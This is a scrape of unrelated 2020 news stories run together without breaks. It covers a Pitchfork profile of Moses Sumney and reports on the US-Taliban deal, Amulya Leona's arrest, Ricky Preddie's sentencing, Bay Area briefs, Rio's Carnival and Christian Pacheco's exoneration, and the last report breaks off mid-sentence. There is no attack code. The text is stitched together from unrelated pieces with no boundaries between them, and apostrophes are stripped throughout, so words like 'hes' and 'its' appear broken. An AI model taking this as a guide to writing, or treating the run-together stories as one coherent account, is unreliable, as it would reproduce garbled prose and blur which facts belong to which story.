Moses new 20-song opus gr, due out this week, with the second part coming in May. The albums music is as ambitious as the man behind it. A hypnotic songwriter, guitarist, and producer with a glassy falsetto and an immense vocal range, he exposes unlikely connections between pop and experimental, with songs that are rooted in knotty emotions. In a few days, hell launch a residency and art installation at the Bootleg Theater in Los Angeles, the same venue where he played his first shows seven years ago. He has a dizzying amount to accomplish before then. Moses, who prides himself on both independence and a keen sense of quality control, insists hes a lot more involved in the day-to-day of his career than the average artist. As a single person, its your relationship, its who you talk to every day, he says. His abridged to-do list includes: finding an L.A. Airbnb suitable enough to house his band for a month; approving the flier announcing the residency; editing the accompanying press release; nailing down details for the music video hes gearing up to direct; picking up his guitar from the repair shop; packing; spending two days humoring a curious reporter. Story continues First, though, Moses will shoot another DIY lyric video until midnight, and then hell stay up another four hours, sending emails and grinding away on album obligations. This, he says, is his life in Asheville. His house, complete with a porch swing and a rocking chair where he takes business calls, is a peaceful homebase for the times when hes not performing or recording across the globe. There is an open-plan living room with a velvet sectional and matching navy-blue rug, and a spacious kitchen stocked with nearly a dozen varieties of tea. Where most people would place a dining area, Moses, 28, has opted for a cozy reading nook, though he admits not much reading actually happens there. Upstairs, he has converted an attic-style loft into an ad hoc meditation and exercise area. Theres a yoga mat and, against a window, a prim, curtained pile of grey pillows and fabrics he describes as his princess bed. He has a simple music studio, a minimalist bedroom, and a bathroom he jokes must be the size of my apartment in Brooklyn. For someone whos explored perpetual aloneness in his art and his lifehis first album, 2017s Aromanticism, explored the lack of romantic love in his life; Olivia Laings isolation chronicle The Lonely City is a favorite recent readI cant help but notice the ironic luxury of his double sink. Moses seems to take pleasure in insisting that his Asheville life is boring, a departure from the glamorous L.A. existence he once enjoyed. That is not the only sly rebellion he delights in. Both his identity and his art seem to hinge not only on defying categorization but in narrating that defiance. On the one hand, there is his willful stoicnessas a rule, he never smiles in photos or videos. And on the other, there is the everyday Moses, a charming diplomat with excellent comedic timing. Josh Finck, a video projection artist who has worked closely with Moses, knows firsthand that people often find his friend intimidating. Hes so large and gorgeous and talented, but hes totally a big softie, he says. Its not a show, though. Hes both things simultaneously. In case you missed Moses obsession with oppositional truths, he has recently rendered his face a slogan of multiplicity: one eyebrow is dyed blond while the other remains black, and a similar contrasting swipe covers the lower half of his head. Asheville, which Moses describes as a city full of weirdos, offers him room to explore this multiplicity, and the headspace to harness it. For my job, I am tasked with really knowing a lot about myself and having to communicate that constantly, he says. That introspection is on full display on gr, an album whose title acts as a one-word summary. His interpretation of greyness is not just the kind of cloudiness that sometimes marks his temperament, but the kind that rejects binaries, that asserts that life is not lived in blacks or whites but in the gloriously complex in-betweens. The album is sprawling and yet tight, dense but accessible, an elevated version of the things that have become his signatures in recent years: artful lyricism, conceptual depth, playful vocals and melodies, unexpected sweeps of soundscape. Throughout gr, Moses depicts a world where intimacy offers both sustenance and suffering. The album comes at an important time for Moses, an unusual artist who occupies spaces that shouldnt overlap. Though he is reticent to acknowledge it, gr has the potential to make him a star, or to cement his position as an indie fave. He, it seems, wants neither, and both. In the Bible, the character of Moses embodies a prototypical heros journey: the low-born infant who first becomes a prince, then a prophet. He is a powerful, if reluctant, leader with both spiritual and political purpose. This parable is what Moses Sumneys father was studying in Bible school when it was time to name his newborn son. He wanted me to lead people, says Moses. Out of what, Im not entirely sure. Into what? Who knows? On a frigid Friday afternoon, Moses leads me into Firestorm, a worker-owned local queer bookstore. There is one book in particular he is after, Valerie Solanas 1968 feminist bible the SCUM Manifesto. (Hes in loose agreement with her misandrist thesis, that men have ruined the world.) Moses also buys a copy of Ocean Vuongs On Earth Were Briefly Gorgeous, an epistolary novel whose themes crisscross immigration, abuse, race, and sexuality. I offer a warning: The book is beautiful, but it will break you. We love that, he replies drily. Like Vuong, Moses began his career as a poet, and hes excited about the prospect of enjoying a poets prose. Although he has been up since 9 a.m. and the sun is now a couple of hours away from setting, its time for Moses first meal of the day. We make the short drive to a busy strip of West Ashevilleeverything in the city is a short drive, he points out repeatedly. Dobra Tea, a vegan cafe, is one of his regular spots. Next door is the Mothlight, where he recently played a surprise show that hit the venues 250-person capacity in 10 minutes. The last time he played there three years ago, the room was barely half-full. Moses has a preferred set of tables in the cafe, a platform of semi-private, Moroccan-style floor seats. Later, when he sees a pair of customers who look like they might be leaving, he quickly springs into action. I dont want to seem thirsty but I do want to be the first, he laughs, as he swoops in on the seats. Then he reconsiders. Also, Im thirsty. Its so beautiful to just be thirsty. Why not? Be thirsty! After orchestrating the move, he takes off his shiny platform boots and folds himself onto the ground. Pleased, he gestures at his temporary kingdom. Moses orders a yam and cheese sandwich, almond butter toast, and an Earl Grey tea with coconut milk, and gamely launches into his life story. He was born in San Bernardino, California, the middle child of two Ghanaian immigrants who set out on a long journey to the U.S. without documents. His mom was pregnant with him when she crossed the Canadian-American border to join his father in Southern California. In an essay he wrote for a new anthology collecting writers responses to historic ACLU cases, Moses quotes his father: What they call illegal, I call alternative entry. When the Sumneys settled in America, Moses mom and dad worked, respectively, as a seamstress and a cab driver. At one point, the family owned a thrift store. For people without papers, Moses suggests, its sometimes easier to operate as entrepreneurs. Moses and his older sister attended a private Christian school where his parents worked as groundskeepers in order to manage the tuition. Each day, he would leave the predominantly white school and return to the familys five-bedroom house in a black and Latino neighborhood he describes as not in the ghetto but adjacent to it. Soon, his parents would become pastors, serving a predominantly Black-American congregation. Moses mother and father ran a strict household. Once, when he was in elementary school, his mom learned at church that Pokemon were demonic, so she came home and threw out the collection hed spent two years amassing. I was so mad at her, he remembers. But there were counterbalances. When Moses objected that choir rehearsal conflicted with the Friday night timeslots of his beloved sitcoms Boy Meets World and Sabrina the Teenage Witch, he was granted permission to stay home and watch TV. And his dad practiced a unique theology, one that incorporated radical pan-Africanism into his Christianity. In the years to come, the Sumneys would bring dozens, maybe even hundreds, of Black Americans to visit Ghana and reconnect with their ancestral roots. When Moses was 10, the family moved to the Ghanaian capital of Accra; his older sister was starting to get into trouble, and his parents thought they could make a better life for the family there. The adjustment was a shock. A good student and preternaturally obedient child, Moses had a tough time at school. He was picked on by students but especially by teachers, who resented his foreignness and who liberally employed corporal punishment for minor offenses. He soon turned even further inwardsso much so that when he ran into an old friend of his sisters at a party in Accra this winter, he was surprised to be reminded of the young person he once was. Moses recalls the friend telling him, Everyone I know who knew you is shocked. How do you perform on stages? You used to come over to my house and you wouldnt speak. Though he spent much of his life in some form of silence, Moses loved music, and harbored a secret dream of making art. Using a voice-recording application on his computer, he taught himself how to sing, teasing out the range that he would later become known for. Hed tape himself singing along to artists he lovedIndia.Arie, Nelly Furtado, Usherand play the snippets back until they sounded right to him. For a year, the only CD he owned was a bootleg of Furtados 2000 debut, Whoa, Nelly!, procured by his father from someone at church. He logged on to her website, printed all the lyrics, and pored over them. Shes such a good songwriter, he says. I learned so many words from her. I learned what ambivalence means. He would eventually dissect Beyonces Dangerously in Love and Justin Timberlakes Justified in the same way. Every run, every riff, every song, every moment. Though his mom loved gospel and his father was partial to reggae, no one else in the family was especially musical. To Moses, thats a sign that he was, not unlike his namesake, chosen. When he was 16, the Sumneys moved back to California, settling in the Greater L.A. city of Riverside. All the while, Moses decided that when he landed in America, he was going to reinvent himself. I was like, Im going to dress well, Im going to be interesting. Im going to do music, he recalls. In his final years of high school, Moses joined the choir, and began to teach himself more about music. He spent two years at a local community college, then transferred to UCLA, where he studied poetry and creative writing. He took on a handful of extracurricular activities, including copy-editing the school newspaper and hosting a radio show on the college station. During a semester abroad studying Shakespeare in the UK, he expanded his repertoire to include theater. Back in L.A., Moses landed an internship at a brand agency, where his job entailed creating content for actress Alicia Silverstones wellness blog. When the Clueless star went viral in 2012 for chewing up and feeding her young son food mouth-to-mouth, like a bird, Moses was the one tasked with writing the official response to the uproar. Later, he interned at LA Weekly as a music writer. In a piece defending John Mayer, he wrote, The haters need to realize that theres more to him than kitschy sentimentalism and dick jokes. Dude can write a song. As Moses was gaining experiences in the media world that would inform his understanding of how to shape an effective public narrative, he was cultivating his music skills by learning guitar tabs on the internet and obsessively studying the work of rock, indie, folk, and experimental artists. After deciding at 20 to properly pursue music, he was eager and relentless. When his parents flew in for his college graduation, they implored him to get another degree. Give me a year, he told them, adding that if he couldnt rake in a full-time living as an artist, he would get a masters or go to law school. Almost exactly a year later, he made enough progress in the industry to feel confident enough to quit his day job. There is an alternate timeline in which Moses Sumney is simply Moses, a chart-topping, mononymous pop star working with Swedish producers and procuring guest verses from any given member of the Migos. That Moses has an active stanbasemaybe theyre called the Pharaohswho create hashtags, populate multiple Instagram accounts with edits of his face, and put forth elaborate theories about future release dates. That Moses is also rich as all hell, with a mansion in the Hills and a presence on red carpets. He probably wears a whole lot of color. This Moses is still dressed in all black as he drives his black Jeep through the Blue Ridge Mountains. Hes looking for the first place he lived in Asheville, in 2014, where he spent a spring month in isolation, with no internet and no cell service. (Years later, hed learn that Nina Simone took piano lessons down the street.) The house looks mostly the same, but whoever lives there now has given it a fresh coat of paint, and erected a protective fence around its perimeter. As the sun sets, we cruise through winding streets illuminated by the full moon and a cluster of stars. We take an impromptu tour of one of Ashevilles bougiest neighborhoods, where he dreams of living in a beautiful Craftsman with a wraparound porch and elegant bay windows. This area was once a black neighborhood, until a wave of gentrification in the 80s and 90s displaced the community. The singer-songwriter Angel Olsen, an acquaintance of Moses, owns a home somewhere nearby. Another neighborhood, just 15 minutes outside of the citys staunchly leftist downtown core, is mostly farm country. The people who live there, he guesses, are likely Trump voters. Moses has just received his North Carolina drivers license and is eager to vote here in the upcoming presidential election. They need my vote more than California does, he says. Moses music career began in earnest a couple thousand miles away from here, in Los Angeles. After inviting the R&B trio KING onto his college radio show, they asked him to open for them at a series of local concerts in 2013. That was the first chapter in a kind of story you dont really hear much anymore: Instead of going viral online, Moses went viral in real life. Even though hed only written a few songs by that point, the KING gigs led to more gigs that showcased his virtuosity and charisma. When he had the opportunity to play three dates with Swedish singer-songwriter Jose Gonzalez, he quit his day job sending tweets and showering customers with coupons on behalf of California Pizza Kitchen to join the tour. Soon enough, he was attracting the insatiable interest of a music industry looking for the next Frank Ocean. A longtime friend who happened to be a talent scout at Columbia Records took him out for a meal at a Beverly Hills restaurant and confirmed what Moses had suspected: In the eyes of several labels, he was the Next Big Thing. And I was like, Ugh. Can they not? Moses remembers. Im not ready to be talked about. In his tiny L.A. studio, he made an EP using a four-track recorder given to him by TV on the Radios Dave Sitek. Hed found his stylea lo-fi, folky sound, performed with a guitar and a looping pedal. I was so confusing to people. They saw this tall black person who could be marketable, but sonically, people didnt know where to place me, he says. My opinion was I didnt need to be placed. Like, Ill decide where to place me. Just give me a minute, stop blowing up my phone. He anxiously took meetings with potential managers and his pick of the major label litter. Pretty quickly, he learned to understand their veiled industry language. When they asked if he thought of working with other songwriters, they meant they werent confident that he could write hits. When they suggested getting him into a proper studio, they were shading his lo-fi sound. When they recommended R&B and pop producers as collaborators, they were implying that a black artist like him belonged in a very specific box. Moses feared he didnt have enough clout to secure a deal generous enough to allow him to find his voice without tethering him to a shitty label for life. I went from being completely irrelevant to many people demanding a lot of me overnight, he says. But challenging myself artistically and challenging listeners mattered more to me than being rich or famous. So he walked away, confident enough in his destiny to pursue a more autonomous type of success. He began putting out singles here and there, and working on what would become his debut. The industry attention had put him in a new social class in L.A., and he had the ear of people like Beck and Sufjan Stevens, whom hed long looked up to. Soon, he found himself folded into Solanges circle, frequently appearing on her Instagram and palling around town with big names. Even though he had shrugged off one type of fame, he found himself in the midst of another. As he mingled in mansions during Grammy weekend one year, he says, I felt like I was losing myself and my self-worth, and I was embarrassed that I felt validated by being able to get into all the parties. Sometimes, he says, hed run into people who recognized his face but had no idea he was a musician. As his social life was popping, he became more disciplined with his art. He eventually finished his album, and went about trying to put it out. But the industry players who were once so bullish on him had moved on, and Moses found himself reckoning with the decisions hed made. He eventually signed with respected indie label Jagjaguwar in early 2017, and made plans for his debut album to come out that fall. Aromanticism, a sober, inward-looking project with existential themes, was enthusiastically received by the music press, but only found any kind of chart success in Belgium, where it peaked at No. 139. I was living in a really, really gorgeous house in Beachwood Canyon with five other artists, but I hated that I couldnt afford to live alone, he says. I hated my life. So he walked away again, this time from the city itself and from the life he had spent years building there. I went from being handed everything in my early career to having to fight for everything all of a sudden, which made me so much smarter and stronger, he says. I feel incredibly grateful that its just now happening. I feel more ready for it than ever before. Earlier this month, Moses made his U.S. television debut as the musical guest on The Late Show With Stephen Colbert. Elegant in a pair of sateen flared trousers and a textured trench coat, he delivered a stunning vocal performance of the gr single Cut Me. Performed with a full band and a jaunty horn section, the song sounded warm, playful, and, in true Moses style, unclassifiable. A couple of minutes in, he shimmied out of the coat to reveal a fitted, ribbed halter top. It was delicious theater, and fully earned its standing ovation. Over the past few years, I just felt that people didnt think I could do it, he says a few days after filming the performance, thinking of the festival promoters hesitant to book him, and the major label A&Rs watching from afar. So I needed to prove to myself that I can do it. Across the new albums entire hour and six minutes, Moses does just that. While Aromanticism was insular and minimal, gr is decidedly bigger, with clear nods to his love of pop sprinkled throughout. In order for something to be artful and valid and full of meaning, it doesnt have to be esoteric, obscured, or mysterious, he says. He made much of the album in collaboration with producers in London, New York, L.A. and beyond, working with them on chords and music before retreating to structure the songs himself. The credits include 40 different people, including Daniel Lopatin, Thundercat, and the Nigerian-Ghanaian author Taiye Selasi, whose vocals are sampled to help give the album a narrative spine. He sought us out because of what we were making and not who we are, says Harry Burgess of Adult Jazz, the British experimental-pop band that lent Cut Me its warm bombast. He prioritizes these little moments of beauty and doesnt worry too much about how it fits in with the landscape. But Moses alone is responsible for every lyric and primary melody on the album. And Moses alone is allowed to sing. Its how he retains authorship and, presumably, a sense of control. Its also how he sets himself apart from a class of unnamed artists with whom he has grown tired of being compared. The people I am mentioned with, in articles or tweets by regular people, Im like, We are not the same. Maybe theres something about what I did before that didnt illustrate to you, the listener, that we are not the same. Well, let me make that clear. Over a one-and-a-half pound steak for two, served medium-rare, in a brightly lit corner of a rustic restaurant in downtown Asheville, he tells me, When I was making the first record, the mantra I had in my head was, Just because you can doesnt mean you should. For this album, the mantra was, If you can, you probably should. Back at his house, Moses urgently packs for a 7 a.m. flight to L.A. He drops several piles of clothes and a single pair of boots into a suitcase on the floor. There! I feel better now, he exclaims. He turns his attention to more pressing business, like the video for Cut Me hell direct on his days off from the upcoming residency. As soon as he lands, hell immediately start scouting locations. Hes on the phone explaining his priorities for the shoot, going through casting decisions, identifying non-negotiables. One shot he really wants to accomplish requires him standing on top of a moving vehicle. Hes not too concerned about the rig or the harness that would make it a safe proposition. Honestly, Im willing to risk my life, he says. Just imagine how legendary this would be if I die and we get the shot. Styled by Taryn Bensky. Grooming by Barry White for Barrywhitemensgrooming.com. Cinematography by Alberto Mojica. FX makeup by Elizabeth Yoon for Makeup Forever. Post Production by Jerry Chia at Good Company. Jacket and trousers by Jan Jan Van Essche; knit vest by Our Legacy, trousers by Jan Jan Van Essche. Jewelry throughout Sumneys own. Glitter videos, pants by Uniqlo. Motion and custom type by Drew Litowitz. Originally Appeared on Pitchfork The countdown to the signing of a peace agreement between the Taliban and the United States to end 18 years of war in Afghanistan will begin on Friday night, a senior US State Department official said. The seven-day reduction of violence promised by the Taliban will go into effect on Friday, but the official did not specify the exact hour when the reduction of violence will commence. After the seven days, the long sought-after peace agreement between the US and the Taliban will be signed on February 29 in Doha, Qatar, paving the way for a withdrawal of US troops and intra-Afghan negotiations, the official said. The Taliban had set up and maintained a political office in Doha in recent years, following the 2001 US-led invasion that toppled their regime, which had harboured al Qaida leader Osama bin Laden, in Afghanistan. The US and the Taliban are set to sign a historic agreement that would pave the way to ending Americas longest war, the bitter foes announced Friday, hours after Kabul said a week-long partial truce across Afghanistan would kick off this weekend. If that so-called reduction in violence holds, it would mark a major turning point in the gruelling conflict and set the conditions for a deal that could, ultimately, pull US troops out after more than 18 years and launch Afghanistan into an uncertain future. Both US Secretary of State Mike Pompeo and the Taliban issued statements saying they had agreed to sign the accord on February 29 in Doha, following the one-week partial truce. Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward, Pompeo said, adding that negotiations between the Taliban and the Afghan government would start soon thereafter.- Afghanistans National Security Council spokesman Javed Faisal and Taliban sources earlier said the reduction in violence between US, Taliban and Afghan security forces would begin Saturday. The United States has been in talks with the Taliban for more than a year to secure a deal in which it would pull out thousands of troops in return for Taliban security guarantees and a promise to hold peace talks with the government in Kabul. A reduction in violence would show the Taliban can control their forces and demonstrate good faith ahead of any signing, which would see the Pentagon withdraw about half of the 12,000-13,000 troops currently in Afghanistan. In a statement, the Taliban said warring parties would create a suitable security situation ahead of a deal signing. One Taliban source in Pakistan said that if an agreement was signed on February 29, talks between the Taliban and the Afghan government, needed to cement a broader peace deal, would be slated to start on March 10. The announcement was hailed by the international community, with NATO saying the deal could make way for sustainable peace in Afghanistan, while Russia labelled it an important event for the ending the war. Pakistan, which helped facilitate the talks between the US and the militants, also welcomed the news. Afghan President Ashraf Ghani was set to address the nation late Friday night, days after officially winning a second term in office. Stand down In southern Kandahar province, which is seen as the Talibans heartland, one insurgent told AFP he had received orders to stand down. But another Taliban commander based in Kandahar, Hafiz Saeed Hedayat, said he had only been ordered to refrain from attacking major cities and highways. This means maybe the violence will continue in the districts, Hedayat said. Taliban expert Rahimullah Yusufzai said the move signalled a wider change in thinking for both the Taliban and the US after years of fighting. Both sides have shown their commitment to sign the peace deal, and its a big development, he said. The US and the Taliban have been tantalisingly close to a deal before, only to see President Donald Trump nix it at the eleventh hour in September amid continued insurgent violence. Any truce comes fraught with danger, and analysts warn the attempt to stem Afghanistans bloodshed is laced with complications and could fail at any time. Worse still, they say warring parties could exploit a lull to reconfigure their forces and secure a battlefield advantage. The reduction in violence is still just the first step, Andrew Watkins, a senior analyst with the International Crisis Group, told AFP. Those talks will be a tough road of their own, but are the best avenue to peaceful settlement to Afghanistans conflict. Bringing peace On Thursday, the deputy leader of the Taliban said the insurgents are fully committed to a deal with Washington. That we stuck with such turbulent talks with the enemy we have fought bitterly for two decades, even as death rained from the sky, testifies to our commitment to ending the hostilities and bringing peace to our country, Sirajuddin Haqqani wrote in an opinion piece in the New York Times. Haqqani is also head of the Haqqani network, a US-designated terror group that is one of the most dangerous factions fighting Afghan and US-led NATO forces in Afghanistan. Since the US-led invasion of Afghanistan after the September 11, 2001 attacks, America has spent more than $1 trillion in fighting and rebuilding in Afghanistan. About 2,400 US soldiers have been killed, along with unknown tens of thousands of Afghan troops, Taliban fighters and Afghan civilians. SOURCE: AFP Police have provided security to the residence ofAmulya Leona, who had raised "Pakistan Zindabad" slogans, in Chikkamagaluru district after it was allegedly attacked by right wing workers, officials said on Friday. According to sources, a group of people had targeted her house at Gullagadde near Koppal on Thursday evening and window panes were damaged. Amulya's father Wazi subsequently lodged a complaint following which police personnel were deployed near the house for the family's security. Meanwhile, a video of a group of people, allegedly right wing activists, last evening, purportedly questioning Wazi about his daughter's conduct and making him raise "Bharat Mata ki Jai" slogans has gone viral. Amulya Leona had raised "Pakistan Zindabad" slogans thrice after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi, on Thursday. After being removed from the stage, she was arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. A purported facebook post of Amulya on February 26 has surfaced in which she has said 'Zindabad' to several neighbouring countries, and adds that doing so does not make her belong to them. "Hindustan Zindabad, Pakistan Zindabad, Bangladesh Zindabad, Sri Lanka Zindabad, Nepal Zindabad, Afghanistan Zindabad, China Zindabad, Nepal Zindabad...whichever country it may be, Zindabad to all countries," said the post in Kannada. "You teach children that country means soil, but as children we are telling you country means- people living there. People should get all basic amenities, they should get all basic rights, government of all countries should take care of its people in a good way. Zindabad to all those who are doing public service," she says. Stating that by saying Zindabad to other countries, she will not belong to that country, Amulya's post says, "as per law, I'm citizen of India, respecting my country and working for the people here is my duty. I will do it, let's see what RSS people do..I have said what I had to, Sanghis start commenting. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) O ne of the men who killed schoolboy Damilola Taylor has been jailed after hitting a female police officer with his car. Ricky Preddie was 13 and his brother Danny 12 when they killed 10-year-old Damilola on his way home from a south London library in November 2000. The pair were jailed for eight years for the school boys manslaughter in 2006. Ricky Preddie, 32, also known as Ricky Johnson, is now back behind bars after pleading guilty to causing serious injury by dangerous driving and driving whilst disqualified. At Harrow Crown Court on Thursday, he was sentenced to four years in prison and banned from driving for 12 years upon his release from jail. He was driving an Alfa Romeo in Wembley, north London, when police tried to stop his car on the afternoon of November 6 last year. Preddie stopped the car but reversed along the pavement before crashing into a police vehicle, causing leg and neck injuries to a Pc who was getting out. He made his escape but the car was found nearby shortly after and he was arrested on November 12. Detective Superintendent Ray Keating said: In escaping from officers who had pulled him over, Johnsons driving was extremely reckless and resulted in an officer being seriously injured. He then drove off from the scene, callously leaving the officer needing urgent medical attention. The officer has since returned to full duties, and I would like to commend her courage and strength since the incident. While she has recovered physically, the incident has taken an emotional and psychological toll. Sadly, officers are injured whilst protecting the public far too often. Damilola had moved to Britain from Nigeria a few months before he was jabbed in the thigh with a broken beer bottle by a gang of youths as he walked home after school. The Santa Clara County Public Health Department announced Thursday that the county's first confirmed case of novel coronavirus has recovered and been released from isolation. Public health officials first confirmed a Santa Clara man as the county's first case of the virus on Jan. 31. The unidentified man had traveled to the Chinese cities of Shanghai and Wuhan before returning to the county Jan. 24 by flying into Mineta San Jose International Airport. The man never required hospitalization while ill with the virus and was isolated at home while Public Health Department staff monitored his condition. County public health officials confirmed a second case of the virus Feb. 2 in a woman visiting the county. She has since been quarantined by a legal order. According to public health officials, there is no evidence that the virus is circulating in Santa Clara County at this time. Oakland police Chief Anne Kirkpatrick on Thursday night was fired from her job, according to the mayor and the Oakland Police Commission. Kirkpatrick was terminated without cause by the Oakland Police Commission and Mayor Libby Schaaf during a special closed session meeting at City Hall. Darren Allison will step in as acting chief until an interim chief is appointed. The commission's decision was unanimous and Schaaf joined them on that decision, which was allowed by voter approval of Measure LL in 2016, which allows the mayor and commission to jointly dismiss the chief without cause. Schaaf said the trust between the commission and the chief was "irrevocably broken" and keeping the chief in her job would prevent the city from moving forward. Residents and business owners near Oakland's McClymonds High School may be affected by a cancer-causing chemical that was found in the school's groundwater because the contamination apparently originated off the school's grounds, according to a city councilwoman's office. Councilwoman Lynette Gibson McElhaney said in a statement released Thursday evening that, according to the Alameda County Environmental Health Department, the source of the cancer-causing chemical was "a former industrial site a few blocks from the school." The school is located at 2607 Myrtle St. in West Oakland. Gibson McElhaney is calling on the California Department of Toxic Substances Control to test the neighborhoods near the school and begin a plan to mitigate and remedy the threat from the carcinogen trichloroethylene. McClymonds High School will be closed "until the ACEHD determines the level of risk to students and educators," Gibson McElhaney said. The Marin County Sheriff's Office Thursday said the search for a couple who went missing last week in the Inverness area has become a recovery mission. During the search since Saturday for Carol Kiparsky, 77, and her husband Ian Irwin, 72, four independent cadaver K-9 teams alerted in the area of Shell Beach, according to the sheriff's office. "We believe that our extensive search efforts with every resource that has been available to us would have located Carol and Ian if they were responsive or in an area accessible by foot on land," sheriff's officials said. "We've worked tirelessly combing through all leads and areas surrounding the cottage they were vacationing at and are now calling this a recovery mission. We have been in close contact with family and will continue to search for Carol and Ian. Our thoughts are with the Kiparsky and Irwin family during this difficult time," the sheriff's office said. Santa Clara County prevented homelessness for nearly 4,000 local residents over the last two and a half years, officials said during a news conference Thursday. Advocates and legislators representing local homeless people held a news conference Thursday morning at San Jose's Sacred Heart Community Service center to brief the public on the county's successes in reducing the growing number of unhoused people in the region, Jennifer Loving, CEO of San Jose's Destination: Home, said. "Silicon Valley, like many places in the state of California and the nation, are seeing a rising tide of people becoming homeless," Loving said. "And a lot of this is due to rising rents, wages not keeping pace with housing, the lack of deeply affordable housing stock, displacement and gentrification." Loving said Silicon Valley sees two- to three-times as many people going into homelessness than there are people leaving homelessness throughout the year. The county also saw 161 homeless deaths last year, which is a rise from the 157 deaths from the year prior. And while the county works toward housing more of the thousands still living on the streets on any given day, Loving said, it will be for naught and "we're going to continue to have this massive humanitarian crisis in our midst." A person with the novel coronavirus was being treated Thursday at an unnamed San Francisco hospital, public health officials said. The person being treated was brought to San Francisco from Travis Air Force Base in Fairfield after traveling there from a cruise ship, according to the San Francisco Department of Public Health. The individual had no symptoms but the person tested positive for the virus in Japan and was quarantined at the air force base. Public health officials said all necessary precautions were being taken by the hospital to keep patients and staff safe. Public health officials were not releasing the name of the hospital or the name of the patient to protect the patient's privacy. Friday will be partly cloudy. Highs will be in the 60s to the lower 70s. North winds will be 5 to 10 mph before switching to northeast winds in the afternoon. Friday night will be mostly cloudy. Lows will be in the lower 50s. West winds will be 5 to 10 mph. Saturday will be mostly cloudy before becoming partly cloudy. Highs will be in the mid 50s to the lower 60s. West winds will be 10 to 20 mph. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Source: Xinhua| 2020-02-21 11:20:57|Editor: huaxia Video Player Close RIO DE JANEIRO, Feb. 20 (Xinhua) -- About 1.9 million tourists are expected to visit the city of Rio de Janeiro during the upcoming Carnival holiday, the country's national news agency Agencia Brasil reported Thursday. In total, about 7 million participants, including local residents, are expected this year, generating over 4 billion reals (911 million U.S. dollars) in revenues, the report said. Citing data from the local hotels' association, the report said that average room occupation is currently at 89 percent, with that of most popular neighborhoods in the beachfront Southern Zone reaching 95 percent. About 77 percent of the tourists who have made reservations are Brazilians mainly from other regions in Rio de Janeiro state and neighboring states of Minas Gerais and Sao Paulo, the report said, adding that foreigners, mostly Argentinians and Chileans, account for the other 23 percent. Four cruise ships are also expected to host some 12,000 passengers in Rio during the holiday. A man, 42, who was wrongfully convicted of murder in 1995 and spent 15 years in prison after the real murderer confessed, is suing New York State for $100 million. Christian Pacheco was 19 years old when he was convicted in 1996 with slashing the throat of Lemuel Cruz in a bar fight in Brooklyn involving members of the Latin Kings Gang. Despite fellow gang member Melvin Garcia admitting to the murder and being convicted for the same crime in 2004, Pacheco would spend 15 more years in jail before his conviction was overturned on February 12. A free man for the first time in almost 25 years, Pacheco filed a lawsuit on Wednesday seeking $100 million compensation from New York State for the time he spent behind bars. SCROLL DOWN FOR VIDEO Christian Pacheco, 42, spent almost 25 years behind bars for a 1995 murder when the real killer admitted his guilt 16 years ago in 2004 and told prosecutors Pacheco was innocent Christian Pacheco who was convicted of the murder of Lemuel 'Lenny' Cruz in 1995 is exonerated of the conviction by the Brooklyn DA's office on February 12 after 25 years WRONGLY CONVICTED: Brooklyn man Christian Pacheco had his 1995 murder conviction overturned earlier this month after serving nearly 25 years in prison. He spoke for the first time to the media about his initial reaction to finding out hed be a free man. https://7ny.tv/32ePVVJ Posted by ABC7NY on Thursday, February 20, 2020 Christian Pacheco was arrested, aged 18, after being found bleeding outside the Con Sabor Latino Lounge in Sunset Park, Brooklyn, on December 2, 1995. Police were responding to a bar fight that had broken out inside the bar involving members of the Latin Kings gangs after victim Lemuel Cruz bumped into one of the gang members while he was dancing. Cruz' throat was fatally cut in the fight which was believed to be racially motivated. According to a report by the Brooklyn District Attorney Office's Conviction Review Unit (CRU), 'Get the black guy, get the black guy' was heard before Cruz was set upon by the gang members. Pacheco was also stabbed, although he maintains that he did not start the brawl and was rushing to help Cruz. He had collapsed outside of the property when police arrived. He was arrested, indicted, convicted and sentenced in less than a year for Cruz' murder based solely on the testimony of the bar's bouncer, also a gang member, who identified him as the 'throat slasher' but whose statements were later found to be false. Cruz' blood was also found on his shirt. Pacheco has always insisted that he was wrongfully arrested by police and despite being offered a plea deal twice, he maintained his innocence. Two others were convicted with murder but their conviction was overturned in 2003 and 2005, respectively. The former location of the Con Sabor Latino Lounge in Brooklyn which has now closed Christian Pacheco celebrates with is attorney Derek Sells after his conviction is overturned Christian Pacheco's family member celebrate his release on February 12 after 25 years Further evidence pointing to Pacheco's innocence emerged as early as 1998, two years after his conviction, when two gang members named Melvin Garcia as the murderer as part of an ongoing investigation by the Eastern District of the U.S. into the Latin Kings narcotics trafficking activities. As part of the federal probe into the gang, Garcia confessed to the murder in 2004, stating that 'he caused the deceased's death by "cutting him up, slicing him up"', according to the CRU report. Four other participants pointed to Garcia as the murderer and became cooperating witnesses in the federal case. He was convicted in 2004, 16 years ago, of the same crime as Pacheco. 'I knew that they had gotten arrested for some charges in the feds and somehow my case had to do with those charges,' Pacheco told CBS News. As the investigation continued, Garcia told federal prosecutors in 2005 that 'Christian Pacheco did not participate in the murder' and again in 2013, he wrote a letter to prosecutors saying that Pacheco was innocent. 'I believed in my heart I was going to come home soon. It was just a matter of days, probably months, and that never happened.' The difficulties in overturning wrongful conviction cases meant that in would be 16 more year until Pacheco was set free, despite Garcia's testimony. 'That's a flaw of the system,' Criminal defense attorney Ken Belkin told CBS. 'If you're the DA, do you really want to go questioning the people that you rely on to prosecute cases They sort of have this wall of silence where they say, "Hey, we're all on the same team. Whatever happened, happened".' Brooklyn District Attorney Eric Gonzalez said he is not convinced of Pacheco's complete innocence as the blood of the victim Lenny Cruz was found on his shirt after the murder Christian Pacheco claims he knew he would win freedom as his conviction was overturned Pacheco said he fought for his freedom so his son would now he 'is not a killer' On February 12, Pacheco was freed from prison after prosecutors with the CRU announced that his conviction should be tossed and the indictment dismissed in its entirety. He will now be able to spend time with his 25-year-old son, who is in the Navy and lives in San Diego, and meet his granddaughter for the first time. 'I believe that this is one of the reasons I always fought for my freedom,' Pacheco told ABC News. 'So I can prove to him, his dad is not a killer.' Pacheco was already scheduled for a parole hearing this December but had been working to vacate his conviction for the past 18 months. The prosecutors leading further investigation into the case stated that 'while the investigation did not uncover any error by the police or prosecution, new evidence shows that the testimony that led to the conviction - which described the defendant slashing the victim's neck - was not credible.' 'Due process and fairness are both part of the standards of review in all of our reinvestigations and I therefore must set aside this 